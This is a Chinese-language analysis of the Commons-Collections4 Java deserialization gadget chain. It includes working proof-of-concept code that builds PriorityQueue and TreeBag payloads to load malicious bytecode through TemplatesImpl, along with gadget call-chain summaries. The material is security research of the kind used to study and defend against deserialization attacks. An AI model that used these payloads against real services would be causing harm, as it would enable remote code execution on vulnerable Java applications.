Commons-Collections4原理分析

CC4CC2 的一个变种,用 PriorityQueueTransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl,排列组合了属于是。

su18提到PriorityQueue 的替代链 TreeBag,感兴趣可以去看一下。

POC

ysoserial CC4 POC

CC4用到的都是之前的内容,直接放代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class CC4 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
});

TransformingComparator comparator = new TransformingComparator(chain);

// 在初始化时不带入 comparator
PriorityQueue<String> queue = new PriorityQueue<>(2,comparator);
queue.add("1");
queue.add("2");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

TreeBag POC

su18使用 TreeBag & TreeMap 构造的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class CC4CC4WithTreeBag {
...
public static void main(String[] args) throws Exception {

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


// 用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法
// 这个类是 public 的,方便调用
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);

// prepare CommonsCollections object entry point
TreeBag tree = new TreeBag(comparator);
tree.add(obj);

Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");

...
}
}

总结

ysoserial CC4
利用说明:
使用 PriorityQueue 反序列化时触发的 TransformingComparatorcompare 方法,就会触发 ChainedTransformertranform 方法链,其中利用 InstantiateTransformer 实例化 TrAXFilter 类,此类实例化时会调用 TemplatesImplnewTransformer 实例化恶意类,执行恶意代码。

1
2
3
4
Gadget 总结:
kick-off gadget:java.util.PriorityQueue#readObject()
chain gadget:org.apache.commons.collections.functors.InstantiateTransformer#transform()
sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
1
2
3
4
5
6
7
调用链展示:
PriorityQueue.readObject()
TransformingComparator.compare()
*ChainedTransformer.transform()
InvokerTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()

TreeBag
利用说明:
TreeBag 代替 PriorityQueue 触发 TransformingComparator,后续依旧使用 Transformer 的调用链。

1
2
3
4
Gadget 总结:
kick-off gadget:org.apache.commons.collections4.bag.TreeBag#readObject
chain gadget:java.util.TreeMap#put()
sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
1
2
3
4
5
6
7
调用链展示:
org.apache.commons.collections4.bag.TreeBag.readObject()
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject()
java.util.TreeMap.put()
java.util.TreeMap.compare()
org.apache.commons.collections4.comparators.TransformingComparator.compare()
org.apache.commons.collections4.functors.InvokerTransformer.transform()

依赖版本

commons-collections4 : 4.0